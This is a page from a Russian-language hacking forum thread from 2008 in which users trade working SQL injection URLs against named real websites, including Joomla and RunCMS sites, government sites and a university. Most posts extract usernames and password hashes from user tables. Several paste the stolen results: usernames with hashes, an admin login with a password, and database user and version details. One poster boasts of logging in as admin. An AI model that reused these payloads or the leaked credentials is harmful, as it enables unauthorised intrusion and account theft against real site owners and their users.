SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 258 of 798
  1. CaNNabi$

    CaNNabi$ Elder - Старейшина

    Joined:
    21 Jan 2008
    Messages:
    62
    Likes Received:
    110
    Reputations:
    0
    bag
    http://www.gamingreport.com
    http://www.worldnetdaily.com
    БОЯН!!!
    Отвечаю заепали, вам что лень посмотреть АНТИБОЯН?!
     
    #5141 CaNNabi$, 24 Mar 2008
  2. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    Code:
    http://www.taminco.com/index.php?option=com_rekry&Itemid=119&rekryview=view&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20jos_users+limit+1,1--
    SantiagoIrizarry:1876a90330b1c4a9e2aec571d0a2d54c

    Code:
    http://www.prastel.com/index.php?option=com_rekry&Itemid=105&rekryview=add&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20jos_users+limit+1,1--
    wappo:e6b2233d38f54b24e3fff99beef9b8e4

    Code:
    http://www.opelkomnenovic.co.yu/start/index.php?option=com_rekry&Itemid=111&rekryview=add&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20jos_users+limit+1,1--
    Pitanje : velisa:728a9a43f4d413c8bde3d34373b1da64

    Code:
    http://www.technespa.com/index.php?option=com_rekry&Itemid=145&rekryview=add&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20jos_users+limit+1,1--
    MuckeD:14ea4d7dd8c0acdc724c943fa9f942df

    Code:
    http://www.infotal.es/index.php?option=com_rekry&Itemid=37&rekryview=add&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20jos_users+limit+1,1--
    victor:57dbbe27ff919728e60e88a19bc4893a:U44IcyNPzRX4JI49
     
    #5142 bag, 25 Mar 2008
    Last edited: 25 Mar 2008
    1 person likes this.
  3. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    Code:
    http://int.holinski-partners.com/index.php?option=com_neoreferences&Itemid=30&catid=99887766/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*%20where%20user_id=1=1/*
    Code:
    http://www.thedesignconsultants.com/portfolio/12/index.php?option=com_neoreferences&Itemid=26&catid=99887766/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*%20where%20user_id=1=1/*
    Code:
    http://www.foxrecruiting.co.uk/jobs/index.php?option=com_neoreferences&Itemid=41&catid=99887766/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*%20where%20user_id=1=1/*
    Code:
    http://www.fotogram.nazwa.pl/fotogram/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://poetycznie.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://www.perureview.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    ппц название сайта)))))
    Code:
    http://www.verloskundigepraktijkhoogeveen.nl/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://emavitos.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://ftv.flameghana.org/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://thevagrantverse.com/Joomla/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://www.thewritersblox.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://www.sanskimost.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://www.getsatisfied.org/main/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://www.prolocoferriere.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://qarsak.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
    Code:
    http://www.teoria1.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--
     
    #5143 bag, 25 Mar 2008
    Last edited: 25 Mar 2008
    3 people like this.
  4. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    http://konkord.dp.ua/catalog.php?id=-7+union+select+1,2,3,4,Version(),6,7,8,9/*

    4.0.27-standard-log

    http://konkord.dp.ua/catalog.php?id=-7+union+select+1,2,3,4,database(),6,7,8,9/*

    genixar_konkord

    http://konkord.dp.ua/catalog.php?id=-7+union+select+1,2,3,4,user(),6,7,8,9/*

    genixar_konkord@localhost
     
    #5144 Amoura, 25 Mar 2008
  5. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    Поковырялся дальше...
    http://giftman.ru/news_view.php?news_id=9999+union+select+1,2,3,concat_ws(0x2A,login,pwd_hash,email),5,6,7+FROM+u15364.ra_users/*
     
    #5145 Buffalon, 25 Mar 2008
    1 person likes this.
  6. Snap

    Snap Elder - Старейшина

    Joined:
    5 Feb 2007
    Messages:
    61
    Likes Received:
    33
    Reputations:
    -4
    Учебно-тренинговый центр (IPB)

    http://rostov-trening.ru/index.php?act=program&pid=18&from=&id=-22+union+select+1,concat(user(),char(58),database(),char(58),version()),3,5,6,7,8,9,10,11/*

    ayaks@localhost:ayks:4.1.22
     
    #5146 Snap, 25 Mar 2008
    1 person likes this.
  7. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    Code:
    http://www.dubus.by/modules/photo/viewcat.php?id=1015&cid=-99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*
    Code:
    http://www.poisk.slonim.org/modules/bamagalerie3/viewcat.php?id=31&cid=-99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*
    Code:
    http://emaximum.ru/modules/bamagalerie3/viewcat.php?id=82&cid=-99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*
    Code:
    http://www.megafizz.com/modules/bamagalerie3/viewcat.php?id=175&cid=-99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*
    Code:
    http://www.karadag.com.ua/modules/bamagalerie3/viewcat.php?id=96&cid=-99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*
    Code:
    http://www.cobra-tattoo.net/modules/photo/viewcat.php?id=14&cid=-99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*
     
    #5147 bag, 25 Mar 2008
    Last edited: 25 Mar 2008
    3 people like this.
  8. Dima-k17

    Dima-k17 Elder - Старейшина

    Joined:
    15 Sep 2005
    Messages:
    29
    Likes Received:
    19
    Reputations:
    20
    SyBase
    Code:
    http://www.planetashop.ru/index.php?content=info&f_name=news_description&news_id=-1+union+select+@@version,2,3
     
    #5148 Dima-k17, 26 Mar 2008
  9. SIdoy

    SIdoy Member

    Joined:
    19 Sep 2007
    Messages:
    12
    Likes Received:
    6
    Reputations:
    0
    Я решил поискать на сайтах других команд Российской суппер лиги и нашел инъекцию на сайте "Уфимского Салавата". Таблица с зарегестрированными, почти, 4к юзерами ... Правда попасть в админку мне не удалось, зато можно зайти на сайт под админом.

    http://www.hcsalavat.ru/?show=1696%20and%200%20union%20select%201,2,concat_ws(0x3a,nick,pass,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20users%20limit%203965,1--
     
    #5149 SIdoy, 26 Mar 2008
  10. Анжелика

    Анжелика Elder - Старейшина

    Joined:
    25 Mar 2008
    Messages:
    25
    Likes Received:
    36
    Reputations:
    -4
    мoи первые sql-injection, я только учусь, прочитала статьи)))

    http://www.globalfriendship.us/newsdetail.php?news_id=-4+union+select+1,table_name,3,4+from+information_schema.tables

    http://www.jeanbaptiste.us/page.php?news_id=-6+union+select+1,version(),3,4,5,6
     
    #5150 Анжелика, 27 Mar 2008
    15 people like this.
  11. bag

    bag Elder - Старейшина

    Joined:
    6 Mar 2008
    Messages:
    116
    Likes Received:
    48
    Reputations:
    0
    еще свежачек
    Code:
    http://ural-audit.info/index.php?option=com_alphacontent&section=5&cat=17&task=view&id=-999999/**/union/**/select/**/1,concat(username,0x3e,password),3,4,user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),39/**/from/**/jos_users/*
http://mp4club.ru/index.php?option=com_alphacontent&section=4&cat=21&task=view&id=-999999/**/union/**/select/**/1,concat(username,0x3e,password),3,4,user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),39/**/from/**/jos_users/*
http://www.eurotula.ru/index.php?option=com_alphacontent&section=11&cat=75&task=view&id=-999999/**/union/**/select/**/1,concat(username,0x3e,password),3,4,user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),39/**/from/**/jos_users/*
http://www.btlyar.ru/index.php?option=com_alphacontent&section=1&cat=2&task=view&id=-999999/**/union/**/select/**/1,concat(username,0x3e,password),3,4,user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),39/**/from/**/jos_users/*
http://www.napoliaffari.com/napoliaffari/index.php?option=com_alphacontent&section=8&cat=136&task=view&id=-999999/**/union/**/select/**/1,concat(username,0x3e,password),3,4,user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),39/**/from/**/jos_users/*
http://www.tribunjabar.co.id/post/postView.php?id=99999999999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10/*
http://www.moest.gov.np/postview.php?id=99999999999/**/UNION/**/SELECT/**/1,2,3,4/*
http://www.nepalgov.gov.np/postview.php?id=99999999/**/UNION/**/SELECT/**/1,2,3,4/
    в падлу оформлять)
     
    #5151 bag, 27 Mar 2008
    1 person likes this.
  12. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    Извините ,но почему все смотрят сначала в information_schema.tables,а потом в ...columns... .Ведь во втором случае содержиться и то и другое(извините если что не так)
    http://stargate.mgm.c0m/news_detail.php?series=1999999999+union+select+1,concat_ws(0x2A,table_schema,table_name,column_name),3,4,5,6,7,8,9+from+information_schema.columns/*
     
    #5152 Buffalon, 27 Mar 2008
  13. Holokost

    Holokost Member

    Joined:
    9 Nov 2007
    Messages:
    8
    Likes Received:
    5
    Reputations:
    0
    http://www.dressout.ru/novosty/?n=-10%20union%20select%201,2,3,4,5,6/*&subaction=detail
    Вывод ошибок отключен, дальше не получается че то раскрутить..
     
    #5153 Holokost, 27 Mar 2008
  14. SIdoy

    SIdoy Member

    Joined:
    19 Sep 2007
    Messages:
    12
    Likes Received:
    6
    Reputations:
    0
    http://www.cifracenter.ru/tovar.php?ID=2926%20and%200%20union%20select%201,2,concat_ws(0x3a,name,password),4,5,6,7,8,9,10,11%20from%20u42265.auth--

    http://www.advocat-office.ru/index.php?cp=6%20and%200%20union%20select%201,2,3,4,5,6,concat_ws(0x3a,login,password,email,version()),8,9,10%20from%20users%20limit%203,1--

    http://slovari.299.ru/word.php?id=34807%20and%200%20union%20select%20concat_ws(0x3a,password,email),null+from+u7138.User%20limit%200,1--
     
    #5154 SIdoy, 27 Mar 2008
  15. Lamersha

    Lamersha Member

    Joined:
    11 Dec 2007
    Messages:
    6
    Likes Received:
    6
    Reputations:
    0
    http://www.dako.ua/rus/novelties/?nid=-9999999999999+UNION+SELECT+1,2,3/*
    user: dakosql@lo
    database: dako
    version: 4.0.13



    http://hard.nov.ru/brands/A4-Tech/?id_new=-30+UNION+SELECT+1,2,3,4,5,6/*
    user: root@localhost
    database: hard
    version: 5.0.22-log



    http://sexshop-online.ru/index.php?part=6+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13/*
    user: [email protected]
    database: u91227
    version: 5.0.45-log
     
    #5155 Lamersha, 27 Mar 2008
    Last edited: 27 Mar 2008
    1 person likes this.
  16. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    _http://www.apt-rent.ru/catalog.php?view=-1+UNION+SELECT+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+FROM+information_schema.tables+LIMIT+16,1/*
    От 16 и дальше имена таблиц :)
    Одмин mi3d:ueLAIzNPZE
     
    #5156 Ponchik, 27 Mar 2008
    Last edited: 27 Mar 2008
  17. CraZee

    CraZee Member

    Joined:
    27 Mar 2007
    Messages:
    1
    Likes Received:
    7
    Reputations:
    -5
    Вот что мне удалось раздобыть. Все таже жопла:

    Code:
    http://www.salsa-tonic.ru/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),user(),5,6,7,8,9,10+FROM+jos_users--

    --------------
     
    #5157 CraZee, 27 Mar 2008
    Last edited by a moderator: 30 Nov 2010
  18. sk0ch0k

    sk0ch0k New Member

    Joined:
    25 Feb 2008
    Messages:
    1
    Likes Received:
    1
    Reputations:
    -5
    http://vsms.ru/show.php?show=news&id=-10+union+select+user()/*
    http://www.mbstver.ru/res_1/streets/show.php?id=-10+union+select+user(),2,3,4/*
     
    #5158 sk0ch0k, 27 Mar 2008
  19. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    http://studsovet.ulsu.ru/index.php?pid=8&fac=-1+UNION+SELECT+1,2,3,4,5+FROM+null.user/*
    Тока нимагу дальше расшарить((
     
    #5159 Buffalon, 27 Mar 2008
  20. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    2 Buffalon

    Access denied for user 'studsovet'@'localhost' to database 'mysql'
    Code:
    http://studsovet.ulsu.ru/index.php?pid=8&fac=-1+UNION+SELECT+1,2,3,4,5+from+mysql.user/*
    Нет прав на просмотр юзеров
     
    #5160 K1nD[e]R, 27 Mar 2008
    4 people like this.
(You must log in or sign up to post here.)
Page 258 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.